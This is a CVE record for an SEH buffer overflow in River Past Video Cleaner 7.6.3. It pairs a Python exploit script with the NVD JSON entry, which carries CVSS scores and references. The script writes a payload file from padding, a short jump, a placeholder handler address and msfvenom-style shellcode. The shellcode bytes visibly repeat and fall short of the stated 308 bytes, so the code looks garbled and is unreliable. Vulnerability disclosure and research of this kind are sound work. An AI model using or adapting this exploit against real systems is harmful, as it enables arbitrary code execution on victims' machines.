CVE-2019-25670

#!/usr/bin/python # -*- coding: utf-8 -*- import sys # Vulnerable Software: River Past Video Cleaner 7.6.3 # Vulnerability: SEH Buffer Overflow in Lame_enc.dll field # Offset to overwrite SEH handler offset = 280 # This sequence (\xeb\x06\x90\x90) jumps 6 bytes forward past the SEH handler # to land in the shellcode next_seh = "\xeb\x06\x90\x90" # POP POP RET instruction address (Universal or specific to DLL) # Note: Actual address needs to be retrieved from the vulnerable application's DLLs # This is a placeholder for the logic seh_handler = "\xAA\xBB\xCC\xDD" # Simple calc.exe shellcode (generated by msfvenom) # Payload size: 308 bytes shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbb\xca\x25\x1b\x4a\x5e\x2b\xc9\xb1" "\x33\x31\x56\x18\x03\x56\x18\x83\xee\xfb\xe5\x4f\x88\x56\x51" "\x4e\x1d\x07\x1a\x6b\x94\x2e\x6b\x58\x6e\x9b\x3e\x5b\x39\x6d\x57" "\x75\x05\x6a\x90\x7a\x9c\x31\x09\xf7\x9c\x4e\x9c\x0e\x7e\x76\x46" "\x94\x59\x37\x45\x2f\x8e\x29\x98\x2a\x10\xf9\x0c\x0d\x3d\x1c\x55" "\x70\x69\x8c\x63\x11\x5b\x8b\xf6\x3e\x5b\x1d\x07\x6a\x90\x7a\x9c" "\x31\x09\xf7\x9c\x4e\x9c\x0e\x7e\x76\x46\x94\x59\x37\x45\x2f\x8e\x29" "\x98\x2a\x10\xf9\x0c\x0d\x3d\x1c\x55\x70\x69\x8c\x63\x11\x5b\x8b\xf6") # Padding to reach the offset padding = "A" * offset # Construct the payload payload = padding + next_seh + seh_handler + shellcode try: with open("exploit.txt", "w") as f: f.write(payload) print("[+] Exploit file 'exploit.txt' created successfully.") print("[+] Payload length: %d" % len(payload)) except: print("[-] Error creating file.")

{"cve": {"id": "CVE-2019-25670", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:44.610", "lastModified": "2026-04-27T13:35:22.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "River Past Video Cleaner 7.6.3 contains a structured exception handler buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious string in the Lame_enc.dll field. Attackers can craft a payload with 280 bytes of padding, a next structured exception handler override, and shellcode to trigger code execution when the application processes the input."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:river_past_video_cleaner_project:river_past_video_cleaner:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.3", "matchCriteriaId": "D1B0E92F-4C98-4EF8-89D3-344C706C5D80"}]}]}], "references": [{"url": "https://river-past-video-cleaner.softonic.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46346", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/river-past-video-cleaner-buffer-overflow-via-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}